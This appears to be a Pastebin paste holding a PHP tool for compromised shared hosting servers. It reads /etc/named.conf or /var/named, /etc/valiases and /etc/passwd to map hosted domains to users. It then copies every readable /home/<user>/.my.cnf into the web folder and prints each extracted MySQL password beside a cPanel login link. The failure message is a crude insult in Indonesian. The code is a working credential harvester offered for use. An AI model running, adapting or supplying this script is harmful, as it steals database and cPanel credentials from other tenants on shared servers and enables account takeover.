Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <form method="POST">
- <input type="submit" name="krek" value="krek">
- </form>
- </html>
- <?php
- error_reporting(0);
- if(isset($_POST['krek'])) {
- echo "<br><br><span class='bawah'";
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[$i]);
- return trim($ar1[0]);
- }
- echo "<center>";
- $d0mains = @file('/etc/named.conf');
- $domains = scandir("/var/named");
- if ($domains or $d0mains)
- {
- $domains = scandir("/var/named");
- if($domains) {
- echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
- $count=1;
- $dc = 0;
- $list = scandir("/var/named");
- foreach($list as $domain){
- if(strpos($domain,".db")){
- $domain = str_replace('.db','',$domain);
- $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
- $dirz = '/home/'.$owner['name'].'/.my.cnf';
- $path = getcwd();
- if (is_readable($dirz)) {
- copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
- $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
- $password=entre2v2($p,'password="','"');
- echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
- $dc++;
- }
- }
- }
- echo '</table>';
- $total = $dc;
- echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
- echo '</center>';
- }else{
- $d0mains = @file('/etc/named.conf');
- if($d0mains) {
- echo "<table align='center'><tr><th><font color='#F0F0F0'> COUNT </font></th><th><font color='#F0F0F0'> DOMAIN </font></th><th><font color='#F0F0F0'> USER </font></th><th><font color='#F0F0F0'> Password </font></th><th><font color='#F0F0F0'> .my.cnf </font></th></tr>";
- $count=1;
- $dc = 0;
- $mck = array();
- foreach($d0mains as $d0main){
- if(@eregi('zone',$d0main)){
- preg_match_all('#zone "(.*)"#',$d0main,$domain);
- flush();
- if(strlen(trim($domain[1][0])) >2){
- $mck[] = $domain[1][0];
- }
- }
- }
- $mck = array_unique($mck);
- $usr = array();
- $dmn = array();
- foreach($mck as $o) {
- $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
- $usr[] = $infos['name'];
- $dmn[] = $o;
- }
- array_multisort($usr,$dmn);
- $dt = file('/etc/passwd');
- $passwd = array();
- foreach($dt as $d) {
- $cp = explode(':',$d);
- if(strpos($cp[5],'home')) {
- $passwd[$cp[0]] = $cp[5];
- }
- }
- $l=0;
- $j=1;
- foreach($usr as $cp) {
- $dirz = '/home/'.$cp.'/.my.cnf';
- $path = getcwd();
- if (is_readable($dirz)){
- copy($dirz, ''.$path.'/'.$cp.'.txt');
- $p=file_get_contents(''.$path.'/'.$cp.'.txt');
- $password=entre2v2($p,'password="','"');
- echo "<center><tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$cp."</td><td>".$password."</td><td><a href='".$cp.".txt' target='_blank'>Click Here</a></td></tr>";
- $dc++;
- flush();
- $l=$l?0:1;
- $j++;
- }
- }
- }
- echo '</table>';
- $total = $dc;
- echo '<br><br><br><br>div class="result"><font color="#F0F0F0">Total cPanel Found =</font> '.$total.'</h3><br />';
- echo '</center>';
- }
- }else{
- echo '<center><i><font color="#FFF">ngekrek nya gagal kontol, kurang gantenglo bhhh</font></i></div>';
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement